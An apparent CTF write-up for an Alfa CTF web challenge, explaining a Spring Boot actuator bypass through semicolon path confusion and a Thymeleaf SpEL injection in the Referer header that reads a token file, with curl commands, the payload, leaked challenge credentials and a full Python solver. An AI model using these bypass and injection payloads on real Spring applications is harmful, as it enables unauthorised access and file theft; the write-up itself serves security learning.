$ cat writeup.md…
$ cat writeup.md…
alfactf
Task: Spring Boot app with Thymeleaf templates, protected actuator endpoints, and token-gated budget panel. Solution: Bypass actuator security via semicolon path confusion, then exploit SpEL injection in Thymeleaf preprocessing via Referer header to read token file using Java NIO.
A city slush level monitoring application with admin panel and budget management system.
Multi-tier web service: nginx → Spring Boot (Tomcat 9.0.117) + Flask sidecar. Features complaint submission, admin panel, and budget management protected by a secret token stored in /usr/local/tomcat/budget_token.txt.
/actuator;foo/env, but Tomcat strips ;foo and serves /actuator/env__${...}__ syntax before main renderingback parameter# Blocked curl https://slushline-zcdvzvbj.alfactf.ru/actuator/env # 403 # Bypass via semicolon path parameter curl https://slushline-zcdvzvbj.alfactf.ru/actuator;foo/env # 200
Leaked: ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t
The /admin?back=X parameter triggers Thymeleaf preprocessing that evaluates the Referer header.
Payload format: '}+${SpEL_expression}+@{'
File read payload:
'}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'
GET /admin?back=/admin HTTP/1.1 Host: slushline-zcdvzvbj.alfactf.ru Cookie: JSESSIONID=... Referer: '}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'
Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn
POST to /admin/budget with token → flag displayed.
#!/usr/bin/env python3 """Alfa CTF - Extreme Slush solver""" import requests import re BASE = "https://slushline-zcdvzvbj.alfactf.ru" s = requests.Session() # Step 1: Leak admin password via actuator path confusion resp = s.get(f"{BASE}/actuator;foo/env") # ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t # Step 2: Login as admin resp = s.get(f"{BASE}/login") csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1) s.post(f"{BASE}/login", data={ "username": "admin", "password": "S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t", "_csrf": csrf }) # Step 3: SpEL injection to read token file spel = ( "'}+${'a'.getClass().forName('java.nio.file.Files')" ".readString('a'.getClass().forName('java.nio.file.Paths')" ".get('/usr/local/tomcat/budget_token.txt'))}+@{'" ) resp = s.get(f"{BASE}/admin?back=/admin", headers={"Referer": spel}) # Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn # Step 4: Unlock budget panel resp = s.get(f"{BASE}/admin/budget") csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1) resp = s.post(f"{BASE}/admin/budget", data={ "token": "QWNgzulpHdPJpZpZsktozyF8FyM0umcn", "_csrf": csrf }) print("Flag: alfa{7He_GRY4zISHchA_SH4ll_N0T_PASS}")
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar